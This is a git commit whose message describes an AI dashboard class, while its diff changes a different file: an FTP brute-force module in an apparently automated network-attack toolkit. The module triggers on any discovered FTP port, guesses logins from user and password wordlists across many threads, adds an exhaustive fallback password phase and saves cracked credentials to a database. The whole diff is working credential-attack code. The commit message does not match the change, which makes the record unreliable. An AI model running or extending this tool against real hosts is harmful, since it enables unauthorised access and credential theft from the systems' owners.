Add RLUtils class for managing RL/AI dashboard endpoints

- Implemented methods for fetching AI stats, training history, and recent experiences.
- Added functionality to set operation mode (MANUAL, AUTO, AI) with appropriate handling.
- Included helper methods for querying the database and sending JSON responses.
- Integrated model metadata extraction for visualization purposes.

actions/ftp_bruteforce.py

@@ -1,9 +1,9 @@
-"""
-ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich)
-- Cibles: (ip, port) par l’orchestrateur
+"""
+ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich)
+- Cibles: (ip, port) par l’orchestrateur
 - IP -> (MAC, hostname) via DB.hosts
-- Succès -> DB.creds (service='ftp')
-- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.)
+- Succès -> DB.creds (service='ftp')
+- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.)
 """
 
 import os
@@ -15,6 +15,7 @@ from queue import Queue
 from typing import List, Dict, Tuple, Optional
 
 from shared import SharedData
+from actions.bruteforce_common import ProgressTracker, merged_password_plan
 from logger import Logger
 
 logger = Logger(name="ftp_bruteforce.py", level=logging.DEBUG)
@@ -27,7 +28,7 @@ b_parent = None
 b_service = '["ftp"]'
 b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]'
 b_priority = 70  
-b_cooldown = 1800,            # 30 minutes entre deux runs
+b_cooldown = 1800             # 30 minutes entre deux runs
 b_rate_limit = '3/86400'     # 3 fois par jour max
 
 class FTPBruteforce:
@@ -43,22 +44,21 @@ class FTPBruteforce:
         return self.ftp_bruteforce.run_bruteforce(ip, port)
 
     def execute(self, ip, port, row, status_key):
-        """Point d’entrée orchestrateur (retour 'success' / 'failed')."""
+        """Point d'entrée orchestrateur (retour 'success' / 'failed')."""
         self.shared_data.bjorn_orch_status = "FTPBruteforce"
-        # comportement original : un petit délai visuel
-        time.sleep(5)
+        self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
         logger.info(f"Brute forcing FTP on {ip}:{port}...")
         success, results = self.bruteforce_ftp(ip, port)
         return 'success' if success else 'failed'
 
 
 class FTPConnector:
-    """Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname)."""
+    """Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname)."""
 
     def __init__(self, shared_data):
         self.shared_data = shared_data
 
-        # Wordlists inchangées
+        # Wordlists inchangées
         self.users = self._read_lines(shared_data.users_file)
         self.passwords = self._read_lines(shared_data.passwords_file)
 
@@ -69,6 +69,7 @@ class FTPConnector:
         self.lock = threading.Lock()
         self.results: List[List[str]] = []  # [mac, ip, hostname, user, password, port]
         self.queue = Queue()
+        self.progress = None
 
     # ---------- util fichiers ----------
     @staticmethod
@@ -112,10 +113,11 @@ class FTPConnector:
         return self._ip_to_identity.get(ip, (None, None))[1]
 
     # ---------- FTP ----------
-    def ftp_connect(self, adresse_ip: str, user: str, password: str) -> bool:
+    def ftp_connect(self, adresse_ip: str, user: str, password: str, port: int = 21) -> bool:
+        timeout = float(getattr(self.shared_data, "ftp_connect_timeout_s", 3.0))
         try:
             conn = FTP()
-            conn.connect(adresse_ip, 21)
+            conn.connect(adresse_ip, port, timeout=timeout)
             conn.login(user, password)
             try:
                 conn.quit()
@@ -171,14 +173,17 @@ class FTPConnector:
 
             adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
             try:
-                if self.ftp_connect(adresse_ip, user, password):
+                if self.ftp_connect(adresse_ip, user, password, port=port):
                     with self.lock:
                         self.results.append([mac_address, adresse_ip, hostname, user, password, port])
                         logger.success(f"Found credentials  IP:{adresse_ip} | User:{user}")
+                        self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)}
                         self.save_results()
                         self.removeduplicates()
                         success_flag[0] = True
             finally:
+                if self.progress is not None:
+                    self.progress.advance(1)
                 self.queue.task_done()
 
                 # Pause configurable entre chaque tentative FTP
@@ -187,46 +192,54 @@ class FTPConnector:
 
 
     def run_bruteforce(self, adresse_ip: str, port: int):
+        self.results = []
         mac_address = self.mac_for_ip(adresse_ip)
         hostname = self.hostname_for_ip(adresse_ip) or ""
 
-        total_tasks = len(self.users) * len(self.passwords) + 1  # (logique d'origine conservée)
-        if len(self.users) * len(self.passwords) == 0:
+        dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
+        total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
+        if total_tasks == 0:
             logger.warning("No users/passwords loaded. Abort.")
             return False, []
 
-        for user in self.users:
-            for password in self.passwords:
-                if self.shared_data.orchestrator_should_exit:
-                    logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
-                    return False, []
-                self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
-
+        self.progress = ProgressTracker(self.shared_data, total_tasks)
         success_flag = [False]
-        threads = []
-        thread_count = min(40, max(1, len(self.users) * len(self.passwords)))
 
-        for _ in range(thread_count):
-            t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
-            t.start()
-            threads.append(t)
+        def run_phase(passwords):
+            phase_tasks = len(self.users) * len(passwords)
+            if phase_tasks == 0:
+                return
 
-        while not self.queue.empty():
-            if self.shared_data.orchestrator_should_exit:
-                logger.info("Orchestrator exit signal received, stopping bruteforce.")
-                while not self.queue.empty():
-                    try:
-                        self.queue.get_nowait()
-                        self.queue.task_done()
-                    except Exception:
-                        break
-                break
+            for user in self.users:
+                for password in passwords:
+                    if self.shared_data.orchestrator_should_exit:
+                        logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
+                        return
+                    self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
 
-        self.queue.join()
-        for t in threads:
-            t.join()
+            threads = []
+            thread_count = min(8, max(1, phase_tasks))
+            for _ in range(thread_count):
+                t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
+                t.start()
+                threads.append(t)
 
-        return success_flag[0], self.results
+            self.queue.join()
+            for t in threads:
+                t.join()
+
+        try:
+            run_phase(dict_passwords)
+            if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
+                logger.info(
+                    f"FTP dictionary phase failed on {adresse_ip}:{port}. "
+                    f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
+                )
+                run_phase(fallback_passwords)
+            self.progress.set_complete()
+            return success_flag[0], self.results
+        finally:
+            self.shared_data.bjorn_progress = ""
 
     # ---------- persistence DB ----------
     def save_results(self):
@@ -266,3 +279,4 @@ if __name__ == "__main__":
     except Exception as e:
         logger.error(f"Error: {e}")
         exit(1)
+